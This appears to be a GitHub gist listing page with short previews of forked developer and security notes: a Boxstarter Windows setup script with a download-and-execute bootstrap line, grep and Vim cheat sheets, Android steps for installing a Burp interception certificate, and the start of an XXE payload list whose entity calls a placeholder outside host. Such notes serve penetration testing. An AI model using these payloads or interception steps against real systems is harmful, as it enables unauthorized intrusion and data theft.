Skip to content

Instantly share code, notes, and snippets.

@castexyz
castexyz / BoxstarterDevFull.ps1
Last active February 23, 2024 12:51 — forked from timmes/BoxstarterDevFull.ps1
configure a brand new Windows system.
# Description: Boxstarter Script for Developer Machines
#
# To run this script, you first have to install boxstarter using the following command (NOTE the "." below is required):
# . { iwr -useb http://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force
# Learn more: http://boxstarter.org/Learn/WebLauncher
#
# Run this BoxstarterDevFull.ps1 script by calling the following from **elevated** powershell:
# example: Install-BoxstarterPackage -PackageName https://gist.githubusercontent.com/castexyz/3f2c2c7c368141db0b480edc82fb0f75/raw/f9633684d23b3d40352489e85647c75154ca12bb/BoxstarterDevFull.ps1
Update-ExecutionPolicy -Policy RemoteSigned
@castexyz
castexyz / grep.sh
Created November 14, 2019 14:22 — forked from isyufu/grep.sh
grep cheat sheet
#!/bin/sh
#http://www.thegeekstuff.com/2011/01/advanced-regular-expressions-in-grep-command-with-10-examples-%E2%80%93-part-ii/
# GENERAL
# print lines begining with range of letters
grep ^[A-D] table.txt
# REGEX
@castexyz
castexyz / android-burp-cert
Last active November 23, 2023 10:26 — forked from vavkamil/android-burp-cert.sh
Android cert
on rooted devices we have to install burp certificate as SYSTEM like this:
1. Export burp certificate and convert it to pem
a. openssl x509 -inform DER -in cacert.der -out cacert.pem
2. output the subject_hash_old and rename the file:
a. openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1
b. mv cacert.pem <hash>.0
3. Copy the certificate to the device
a. adb push <hash>.0 /sdcard/
b. Adb shell
@castexyz
castexyz / vim_cheatsheet.md
Created August 21, 2018 07:49 — forked from awidegreen/vim_cheatsheet.md
Vim shortcuts

Introduction

  • C-a == Ctrl-a
  • M-a == Alt-a

General

:q        close
:w        write/saves
:wa[!]    write/save all windows [force]
:wq       write/save and close
@castexyz
castexyz / XXE_payloads
Created August 2, 2018 09:32 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>